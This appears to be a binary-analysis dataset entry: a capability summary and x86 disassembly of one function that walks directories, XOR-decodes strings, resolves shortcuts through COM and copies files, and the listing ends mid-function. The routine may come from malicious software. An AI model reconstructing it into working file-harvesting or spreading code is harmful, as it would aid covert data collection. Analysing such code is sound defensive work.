Function at 0x461600
Capabilities:
Check if file exists
Copy file
Create directory
Encode data using xor
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x532496
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x344
push esi
push edi
mov dword [ebp - 0xd4], edx
mov byte [ebp - 0xe], cl
mov dword [ebp - 4], 3
mov eax, dword [0x565698]
test al, 1
jne 0x461684
or eax, 1
mov dword [0x565698], eax
mov byte [ebp - 4], 4
push 0x2c
mov dword [0x565690], 0
mov dword [0x565694], 0
call fcn.00504cb0
push 0x5374a0
mov dword [eax], eax
mov dword [eax + 4], eax
mov dword [eax + 8], eax
mov word [eax + 0xc], 0x101
mov dword [0x565690], eax
call fcn.00504f1c
add esp, 8
mov byte [ebp - 4], 3
cmp dword [ebp + 0x34], 0x10
lea esi, [ebp + 0x20]
push 0x5651d0
cmovae esi, dword [ebp + 0x20]
call fcn.00504232
add esp, 4
test eax, eax
jne 0x462dba
test esi, esi
je 0x4616e7
mov ecx, esi
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4616b0
sub ecx, edx
je 0x4616e7
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x4616e1
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x4616e1
cmp eax, 0x20
je 0x4616e1
cmp eax, 0x45
je 0x4616e1
cmp eax, 0x24
jne 0x4616e7
mov byte [ebp - 0xd], 1
jmp 0x4616eb
mov byte [ebp - 0xd], 0
push 0x5651d0
call fcn.00504243
xor eax, eax
add esp, 4
mov dword [ebp - 0x70], eax
lea eax, [ebp + 0x20]
push eax
lea eax, [ebp - 0x84]
push eax
call fcn.00498290
mov esi, dword [ebp - 0x7c]
cmp byte [esi + 0xd], 0
jne 0x461759
cmp dword [esi + 0x24], 0x10
lea eax, [esi + 0x10]
mov edx, dword [eax + 0x10]
jb 0x461724
mov eax, dword [eax]
cmp dword [ebp + 0x34], 0x10
lea ecx, [ebp + 0x20]
push edx
cmovae ecx, dword [ebp + 0x20]
mov edx, dword [ebp + 0x30]
push eax
call fcn.004921f0
shr eax, 0x1f
add esp, 8
test al, al
jne 0x461759
cmp esi, dword [0x565690]
je 0x461759
lea eax, [ebp + 0x20]
push eax
call fcn.00489b50
mov eax, dword [eax]
mov dword [ebp - 0x70], eax
cmp byte [ebp - 0xe], 0
je 0x461c74
mov eax, dword [ebp + 0x38]
cmp dword [eax], 0xa00000
jae 0x462c16
sub esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
push eax
call fcn.0048ccc0
push 0
mov dl, 1
lea ecx, [ebp - 0x84]
call fcn.0042a0f0
add esp, 0x1c
xor ecx, ecx
mov byte [ebp - 4], 5
mov esi, dword [ebp - 0x84]
mov eax, 0x2aaaaaab
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp - 0x80]
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x461c65
xor edi, edi
mov dword [ebp - 0x74], edi
nop dword [eax]
nop word [eax + eax]
mov eax, dword [ebp + 0x38]
cmp dword [eax], 0xa00000
jae 0x461c65
sub esp, 0x18
lea eax, [edi + esi]
mov ecx, esp
mov dword [ebp - 0x14], esp
push eax
call fcn.0048ccc0
sub esp, 0xc
mov byte [ebp - 4], 6
lea eax, [ebp + 0x3c]
mov ecx, esp
push eax
call fcn.0048ba50
mov byte [ebp - 4], 5
call fcn.004613b0
add esp, 0x24
test al, al
jne 0x461c37
cmp byte [ebp - 0xd], al
jne 0x461833
cmp dword [ebp + 0x34], 0x10
lea eax, [ebp + 0x20]
push 0
cmovae eax, dword [ebp + 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov byte [ebp - 0xd], 1
add edi, dword [ebp - 0x84]
xorps xmm0, xmm0
mov byte [ebp - 0x30], 0xf3
xor ecx, ecx
movups xmmword [ebp - 0x2f], xmm0
mov dword [ebp - 0x1f], 0
mov word [ebp - 0x1b], 0
mov byte [ebp - 0x19], 0
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x30], al
inc ecx
cmp ecx, 1
jb 0x461857
mov dword [0x565620], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x30]
mov byte [ebp - 0x2f], 0
movups xmmword [ebp - 0x4c], xmm0
mov dword [ebp - 0x3c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x38], 0
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x461890
sub ecx, edx
lea eax, [ebp - 0x30]
push ecx
push eax
lea ecx, [ebp - 0x4c]
call fcn.00402c40
mov byte [ebp - 4], 7
lea edx, [ebp - 0x4c]
cmp dword [ebp - 0x38], 0x10
cmovae edx, dword [ebp - 0x4c]
mov ecx, edx
lea esi, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4618c0
sub ecx, esi
mov eax, closesocket
mov esi, dword [ebp + 0x30]
sub eax, esi
cmp eax, ecx
jb 0x462dc0
cmp dword [ebp + 0x34], 0x10
lea eax, [ebp + 0x20]
push ecx
cmovae eax, dword [ebp + 0x20]
push edx
push esi
push eax
push ecx
push dword [ebp - 0x14]
lea ecx, [ebp - 0x6c]
call fcn.004946d0
push edi
lea ecx, [ebp - 0x6c]
mov byte [ebp - 4], 8
call fcn.0048ca40
mov dword [ebp - 0xdc], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0xec], xmm0
mov dword [ebp - 0xd8], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xec], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0xdc], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0xa
mov ecx, dword [ebp - 0x58]
cmp ecx, 0x10
jb 0x461981
mov edx, dword [ebp - 0x6c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x461977
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x462dc5
push ecx
push edx
call fcn.00504f31
add esp, 8
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x58], 0xf
mov byte [ebp - 0x6c], 0
mov byte [ebp - 4], 0xb
mov ecx, dword [ebp - 0x38]
cmp ecx, 0x10
jb 0x4619cb
mov edx, dword [ebp - 0x4c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4619c1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x462dc5
push ecx
push edx
call fcn.00504f31
add esp, 8
cmp dword [ebp - 0xd8], 0x10
lea eax, [ebp - 0xec]
push 0
cmovae eax, dword [ebp - 0xec]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov eax, dword [ebp - 0x84]
xorps xmm0, xmm0
mov edi, dword [ebp - 0x74]
add eax, edi
mov dword [ebp - 0xa0], eax
xor ecx, ecx
mov byte [ebp - 0x30], 0xf3
movups xmmword [ebp - 0x2f], xmm0
mov dword [ebp - 0x1f], 0
mov word [ebp - 0x1b], 0
mov byte [ebp - 0x19], 0
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x30], al
inc ecx
cmp ecx, 1
jb 0x461a17
mov dword [0x565620], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x30]
mov byte [ebp - 0x2f], 0
movups xmmword [ebp - 0x4c], xmm0
mov dword [ebp - 0x3c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x38], 0
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x461a50
sub ecx, edx
lea eax, [ebp - 0x30]
push ecx
push eax
lea ecx, [ebp - 0x4c]
call fcn.00402c40
mov byte [ebp - 4], 0xc
lea edx, [ebp - 0x4c]
cmp dword [ebp - 0x38], 0x10
cmovae edx, dword [ebp - 0x4c]
mov ecx, edx
lea esi, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x461a80
sub ecx, esi
mov eax, closesocket
mov esi, dword [ebp + 0x18]
sub eax, esi
cmp eax, ecx
jb 0x462dc0
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push ecx
cmovae eax, dword [ebp + 8]
push edx
push esi
push eax
push ecx
push dword [ebp - 0x14]
lea ecx, [ebp - 0xd0]
call fcn.004946d0
sub esp, 0xc
mov byte [ebp - 4], 0xd
lea eax, [ebp + 0x48]
mov dword [ebp - 0x14], esp
mov ecx, esp
push eax
call fcn.0048ba50
sub esp, 0xc
mov byte [ebp - 4], 0xe
lea eax, [ebp + 0x3c]
mov dword [ebp - 0x54], esp
mov ecx, esp
push eax
call fcn.0048ba50
push dword [ebp + 0x38]
mov byte [ebp - 4], 0xf
lea eax, [ebp - 0xec]
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x78], esp
push eax
call fcn.0048ccc0
sub esp, 0x18
mov byte [ebp - 4], 0x10
mov esi, esp
lea ecx, [ebp - 0xd0]
mov dword [ebp - 0x50], esi
push dword [ebp - 0xa0]
call fcn.0048ca40
mov edx, dword [ebp - 0xd4]
xorps xmm0, xmm0
mov cl, byte [ebp - 0xe]
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
movups xmm0, xmmword [eax]
movups xmmword [esi], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [esi + 0x10], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0xd
call fcn.00461600
add dword [ebp - 0x70], eax
add esp, 0x4c
mov byte [ebp - 4], 0xc
mov ecx, dword [ebp - 0xbc]
cmp ecx, 0x10
jb 0x461ba6
mov edx, dword [ebp - 0xd0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x461b9c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x462dc5
push ecx
push edx
call fcn.00504f31
add esp, 8
mov byte [ebp - 4], 0xb
mov ecx, dword [ebp - 0x38]
mov dword [ebp - 0xc0], 0
mov dword [ebp - 0xbc], 0xf
mov byte [ebp - 0xd0], 0
cmp ecx, 0x10
jb 0x461bf9
mov edx, dword [ebp - 0x4c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x461bef
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x462dc5
push ecx
push edx
call fcn.00504f31
add esp, 8
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0xd8]
cmp ecx, 0x10
jb 0x461c37
mov edx, dword [ebp - 0xec]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x461c2d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x462dc5
push ecx
push edx
call fcn.00504f31
add esp, 8
mov ecx, dword [ebp - 0x80]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0x84]
add edi, 0x18
inc dword [ebp - 0x18]
sub ecx, esi
imul ecx
mov dword [ebp - 0x74], edi
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp dword [ebp - 0x18], eax
jb 0x4617d0
lea ecx, [ebp - 0x84]
mov byte [ebp - 4], 3
call fcn.0048eeb0
mov eax, dword [ebp + 0x38]
cmp dword [eax], 0xa00000
jae 0x462c16
sub esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
push eax
call fcn.0048ccc0
push 0
xor dl, dl
lea ecx, [ebp - 0x84]
call fcn.0042a0f0
add esp, 0x1c
mov byte [ebp - 4], 0x11
mov eax, 0x2aaaaaab
mov ecx, dword [ebp - 0x80]
xor edi, edi
mov esi, dword [ebp - 0x84]
sub ecx, esi
imul ecx
mov dword [ebp - 0xa0], edi
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x462c07
mov eax, dword [ebp + 0x38]
cmp dword [eax], 0xa00000
jae 0x462c07
lea edi, [edi + edi*2]
sub esp, 0x18
shl edi, 3
mov ecx, esp
mov dword [ebp - 0x14], esp
lea eax, [edi + esi]
push eax
call fcn.0048ccc0
sub esp, 0xc
mov byte [ebp - 4], 0x12
lea eax, [ebp + 0x3c]
mov ecx, esp
push eax
call fcn.0048ba50
mov byte [ebp - 4], 0x11
call fcn.004613b0
add esp, 0x24
test al, al
jne 0x462bd6
mov eax, dword [ebp - 0x84]
xorps xmm0, xmm0
add eax, edi
mov byte [ebp - 0x30], 0xf3
mov dword [ebp - 0x18], eax
xor ecx, ecx
movups xmmword [ebp - 0x2f], xmm0
mov dword [ebp - 0x1f], 0
mov word [ebp - 0x1b], 0
mov byte [ebp - 0x19], 0
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x30], al
inc ecx
cmp ecx, 1
jb 0x461d46
mov dword [0x565620], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x30]
mov byte [ebp - 0x2f], 0
movups xmmword [ebp - 0x4c], xmm0
mov dword [ebp - 0x3c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x38], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x461d80
sub ecx, edx
lea eax, [ebp - 0x30]
push ecx
push eax
lea ecx, [ebp - 0x4c]
call fcn.00402c40
mov byte [ebp - 4], 0x13
lea esi, [ebp - 0x4c]
cmp dword [ebp - 0x38], 0x10
cmovae esi, dword [ebp - 0x4c]
mov ecx, esi
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x461db0
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp + 0x30]
sub eax, edx
cmp eax, ecx
jb 0x462dc0
cmp dword [ebp + 0x34], 0x10
lea eax, [ebp + 0x20]
push ecx
cmovae eax, dword [ebp + 0x20]
push esi
push edx
push eax
push ecx
push dword [ebp - 0x14]
lea ecx, [ebp - 0x6c]
call fcn.004946d0
push dword [ebp - 0x18]
lea ecx, [ebp - 0x6c]
mov byte [ebp - 4], 0x14
call fcn.0048ca40
mov dword [ebp - 0xa8], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0xb8], xmm0
mov dword [ebp - 0xa4], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xb8], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0xa8], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x16
mov ecx, dword [ebp - 0x58]
cmp ecx, 0x10
jb 0x461e73
mov edx, dword [ebp - 0x6c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x461e69
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x462dc5
push ecx
push edx
call fcn.00504f31
add esp, 8
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x58], 0xf
mov byte [ebp - 0x6c], 0
mov byte [ebp - 4], 0x17
mov ecx, dword [ebp - 0x38]
cmp ecx, 0x10
jb 0x461ebd
mov edx, dword [ebp - 0x4c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x461eb3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x462dc5
push ecx
push edx
call fcn.00504f31
add esp, 8
mov ecx, dword [ebp + 0x4c]
mov eax, 0x2aaaaaab
sub ecx, dword [ebp + 0x48]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x461f10
sub esp, 0x18
lea eax, [ebp - 0xb8]
mov ecx, esp
mov dword [ebp - 0x14], esp
push eax
call fcn.0048ccc0
sub esp, 0xc
mov byte [ebp - 4], 0x18
lea eax, [ebp + 0x48]
mov ecx, esp
push eax
call fcn.0048ba50
mov byte [ebp - 4], 0x17
call fcn.00461460
add esp, 0x24
test al, al
je 0x462b98
add edi, dword [ebp - 0x84]
xorps xmm0, xmm0
mov byte [ebp - 0x30], 0xf3
xor ecx, ecx
movups xmmword [ebp - 0x2f], xmm0
mov dword [ebp - 0x1f], 0
mov word [ebp - 0x1b], 0
mov byte [ebp - 0x19], 0
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x30], al
inc ecx
cmp ecx, 1
jb 0x461f34
mov dword [0x565620], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x30]
mov byte [ebp - 0x2f], 0
movups xmmword [ebp - 0x4c], xmm0
mov dword [ebp - 0x3c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x38], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x461f67
sub ecx, edx
lea eax, [ebp - 0x30]
push ecx
push eax
lea ecx, [ebp - 0x4c]
call fcn.00402c40
mov byte [ebp - 4], 0x19
lea edx, [ebp - 0x4c]
cmp dword [ebp - 0x38], 0x10
cmovae edx, dword [ebp - 0x4c]
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x461f91
sub ecx, esi
mov eax, closesocket
mov esi, dword [ebp + 0x18]
sub eax, esi
cmp eax, ecx
jb 0x462dc0
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push ecx
cmovae eax, dword [ebp + 8]
push edx
push esi
push eax
push ecx
push dword [ebp - 0x14]
lea ecx, [ebp - 0xd0]
call fcn.004946d0
push edi
lea ecx, [ebp - 0xd0]
mov byte [ebp - 4], 0x1a
call fcn.0048ca40
mov dword [ebp - 0x8c], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x9c], xmm0
mov dword [ebp - 0x88], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x9c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x8c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x1c
mov ecx, dword [ebp - 0xbc]
cmp ecx, 0x10
jb 0x46205e
mov edx, dword [ebp - 0xd0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x462054
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x462dc5
push ecx
push edx
call fcn.00504f31
add esp, 8
mov dword [ebp - 0xc0], 0
mov dword [ebp - 0xbc], 0xf
mov byte [ebp - 0xd0], 0
mov byte [ebp - 4], 0x1d
mov ecx, dword [ebp - 0x38]
cmp ecx, 0x10
jb 0x4620b1
mov edx, dword [ebp - 0x4c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4620a7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x462dc5
push ecx
push edx
call fcn.00504f31
add esp, 8
sub esp, 0x18
lea eax, [ebp - 0x9c]
mov ecx, esp
push eax
call fcn.0048ccc0
call fcn.0040da20
add esp, 0x18
mov dword [ebp - 0x18], eax
test eax, eax
je 0x462b3f
cmp eax, dword [ebp - 0xd4]
ja 0x462b3f
cmp byte [ebp - 0xd], 0
jne 0x4620ff
cmp dword [ebp + 0x34], 0x10
lea eax, [ebp + 0x20]
push 0
cmovae eax, dword [ebp + 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov byte [ebp - 0xd], 1
xorps xmm0, xmm0
mov dword [ebp - 0x4c], 0xd9dfdc81
movups xmmword [ebp - 0x48], xmm0
mov dword [ebp - 0x38], 0
xor ecx, ecx
mov word [ebp - 0x34], 0
mov byte [ebp - 0x32], 0
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x4c], al
inc ecx
cmp ecx, 4
jb 0x462120
mov dword [0x5655d8], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x4c]
mov byte [ebp - 0x48], 0
movups xmmword [ebp - 0x6c], xmm0
mov dword [ebp - 0x5c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x58], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x462153
sub ecx, edx
lea eax, [ebp - 0x4c]
push ecx
push eax
lea ecx, [ebp - 0x6c]
call fcn.00402c40
cmp dword [ebp - 0x58], 0x10
lea edi, [ebp - 0x6c]
mov esi, dword [ebp - 0x6c]
cmovae edi, esi
setae byte [ebp - 0xe]
mov edx, edi
lea ecx, [edx + 1]
nop
mov al, byte [edx]
inc edx
test al, al
jne 0x462180
sub edx, ecx
cmp dword [ebp - 0x88], 0x10
push edx
lea ecx, [ebp - 0x9c]
cmovae ecx, dword [ebp - 0x9c]
push edi
mov edi, dword [ebp - 0x8c]
mov edx, edi
push ecx
call fcn.004922e0
add esp, 0xc
mov dword [ebp - 0x50], eax
cmp byte [ebp - 0xe], 0
je 0x4621ee
mov ecx, dword [ebp - 0x58]
mov eax, esi
inc ecx
cmp ecx, 0x1000
jb 0x4621db
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x462dc5
push ecx
push esi
call fcn.00504f31
mov edi, dword [ebp - 0x8c]
add esp, 8
mov eax, dword [ebp - 0x50]
cmp eax, 0xffffffff
je 0x462afe
xorps xmm0, xmm0
mov dword [ebp - 0x3c], 0
movups xmmword [ebp - 0x4c], xmm0
mov dword [ebp - 0x38], 0xf
mov byte [ebp - 0x4c], 0
movups xmmword [ebp - 0x6c], xmm0
mov dword [ebp - 0x5c], 1
mov dword [ebp - 0x58], 0xf
mov word [ebp - 0x6c], 0x2f
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0x9c]
cmp dword [ebp - 0x88], 0x10
lea esi, [ebp - 0x6c]
cmovae ecx, dword [ebp - 0x9c]
mov dword [ebp - 0x54], ecx
cmp edi, 1
jb 0x4622bd
movsx edx, byte [esi]
lea eax, [edi + ecx]
mov dword [ebp - 0x50], eax
sub eax, ecx
push eax
push edx
push ecx
mov dword [ebp - 0x78], edx
call fcn.00508700
mov edi, eax
add esp, 0xc
test edi, edi
je 0x4622bd
nop word [eax + eax]
mov al, byte [edi]
cmp al, byte [esi]
je 0x46227d
sbb eax, eax
or eax, 1
jmp 0x46227f
xor eax, eax
test eax, eax
je 0x4622a1
mov eax, dword [ebp - 0x50]
inc edi
sub eax, edi
push eax
push dword [ebp - 0x78]
push edi
call fcn.00508700
mov edi, eax
lea esi, [ebp - 0x6c]
add esp, 0xc
test edi, edi
jne 0x462270
jmp 0x4622bd
sub edi, dword [ebp - 0x54]
cmp edi, 0xffffffff
je 0x4622bd
push 0
lea eax, [ebp - 0x4c]
push eax
push 1
push edi
lea ecx, [ebp - 0x9c]
call fcn.0048f3f0
mov byte [ebp - 4], 0x1d
mov ecx, dword [ebp - 0x38]
cmp ecx, 0x10
jb 0x4622f5
mov edx, dword [ebp - 0x4c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4622eb
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x462dc5
push ecx
push edx
call fcn.00504f31
add esp, 8
cmp dword [ebp - 0x88], 0x10
lea eax, [ebp - 0x9c]
mov edi, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
cmovae eax, dword [ebp - 0x9c]
push 0
push 0
push 0xffffffffffffffff
push eax
push 0
push 0x4e3
call edi
mov esi, eax
xorps xmm0, xmm0
xor eax, eax
test esi, esi
jle 0x462391
movups xmmword [ebp - 0x30], xmm0
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], 7
mov word [ebp - 0x30], ax
push eax
push esi
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 0x20
call fcn.0048f250
cmp dword [ebp - 0x1c], 8
lea ecx, [ebp - 0x30]
push esi
cmovae ecx, dword [ebp - 0x30]
lea eax, [ebp - 0x9c]
cmp dword [ebp - 0x88], 0x10
push ecx
cmovae eax, dword [ebp - 0x9c]
push 0xffffffffffffffff
push eax
push 0
push 0x4e3
call edi
movups xmm0, xmmword [ebp - 0x30]
movups xmmword [ebp - 0xd0], xmm0
movq xmm0, qword [ebp - 0x20]
movq qword [ebp - 0xc0], xmm0
jmp 0x4623b3
movups xmmword [ebp - 0xd0], xmm0
mov dword [ebp - 0xc0], 0
mov dword [ebp - 0xbc], 7
mov word [ebp - 0xd0], ax
push 0x104
lea eax, [ebp - 0x210]
mov byte [ebp - 4], 0x21
push 0
push eax
call fcn.00506f10
add esp, 0xc
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
je 0x4623e9
cmp eax, 1
je 0x4623e9
cmp eax, 0x80010106
jne 0x46247f
lea eax, [ebp - 0x74]
push eax
push 0x5384e0
push 1
push 0
push 0x538510
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x462479
mov ecx, dword [ebp - 0x74]
lea edx, [ebp - 0x10c]
push edx
push 0x5384f0
push ecx
mov eax, dword [ecx]
call dword [eax]
test eax, eax
js 0x462470
mov edx, dword [ebp - 0x10c]
cmp dword [ebp - 0xbc], 8
push 0
mov eax, dword [edx]
mov ecx, dword [eax + 0x14]
lea eax, [ebp - 0xd0]
cmovae eax, dword [ebp - 0xd0]
push eax
push edx
call ecx
test eax, eax
js 0x462464
mov ecx, dword [ebp - 0x74]
lea edx, [ebp - 0x350]
push 2
push edx
push 0x104
mov eax, dword [ecx]
lea edx, [ebp - 0x210]
push edx
push ecx
call dword [eax + 0xc]
mov eax, dword [ebp - 0x10c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x74]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
xorps xmm0, xmm0
mov dword [ebp - 0xdc], 0
lea ecx, [ebp - 0x210]
mov dword [ebp - 0xd8], 0
movups xmmword [ebp - 0xec], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4624a6
sub ecx, edx
lea eax, [ebp - 0x210]
push ecx
push eax
lea ecx, [ebp - 0xec]
call fcn.00402c40
lea ecx, [ebp - 0xd0]
call fcn.0048f0e0
mov byte [ebp - 4], 0x22
mov ecx, dword [ebp - 0xdc]
test ecx, ecx
je 0x462aad
cmp dword [ebp - 0xd8], 0x10
lea eax, [ebp - 0xec]
push ecx
cmovae eax, dword [ebp - 0xec]
lea ecx, [ebp - 0x9c]
push eax
call fcn.0048c8a0
cmp dword [ebp - 0xd8], 0x10
lea eax, [ebp - 0xec]
cmovae eax, dword [ebp - 0xec]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindExtensionA]
mov esi, eax
test esi, esi
je 0x462a90
mov edx, esi
lea ecx, [edx + 1]
nop word [eax + eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x462530
sub edx, ecx
cmp dword [ebp - 0xa4], 0x10
push edx
mov edx, dword [ebp - 0xa8]
lea ecx, [ebp - 0xb8]
cmovae ecx, dword [ebp - 0xb8]
push esi
push 0
call fcn.00492370
add esp, 0xc
xorps xmm0, xmm0
cmp eax, 0xffffffff
je 0x4627d7
movups xmmword [ebp - 0x6c], xmm0
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x58], 0xf
mov byte [ebp - 0x6c], 0
mov byte [ebp - 4], 0x23
xor ecx, ecx
mov dword [ebp - 0x107], 0xd9dfdc81
movups xmmword [ebp - 0x103], xmm0
mov dword [ebp - 0xf3], 0
mov word [ebp - 0xef], 0
mov byte [ebp - 0xed], 0
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x107], al
inc ecx
cmp ecx, 4
jb 0x4625b2
mov dword [0x5655d8], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x107]
mov byte [ebp - 0x103], 0
movups xmmword [ebp - 0x4c], xmm0
mov dword [ebp - 0x3c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x38], 0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4625f0
sub ecx, edx
lea eax, [ebp - 0x107]
push ecx
push eax
lea ecx, [ebp - 0x4c]
call fcn.00402c40
mov byte [ebp - 4], 0x24
lea edx, [ebp - 0x4c]
cmp dword [ebp - 0x38], 0x10
xorps xmm0, xmm0
movups xmmword [ebp - 0x30], xmm0
cmovae edx, dword [ebp - 0x4c]
mov ecx, edx
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x462632
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x30]
call fcn.00402c40
mov byte [ebp - 4], 0x25
lea ecx, [ebp - 0x30]
cmp dword [ebp - 0x1c], 0x10
lea edx, [ebp - 0xb8]
mov edi, dword [ebp - 0x30]
mov esi, dword [ebp - 0x20]
cmovae ecx, edi
mov eax, dword [ebp - 0xa8]
setae byte [ebp - 0xe]
cmp dword [ebp - 0xa4], 0x10
mov dword [ebp - 0x18], edi
cmovae edx, dword [ebp - 0xb8]
mov dword [ebp - 0x54], ecx
mov dword [ebp - 0x14], edx
cmp esi, eax
ja 0x462751
sub eax, esi
test esi, esi
jne 0x462695
xor edi, edi
jmp 0x46273b
movsx ecx, byte [ecx]
inc eax
add eax, edx
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x78], eax
sub eax, edx
push eax
push ecx
push edx
call fcn.00508700
mov edi, eax
add esp, 0xc
test edi, edi
je 0x46274e
mov edx, dword [ebp - 0x54]
mov ecx, edi
sub esi, 4
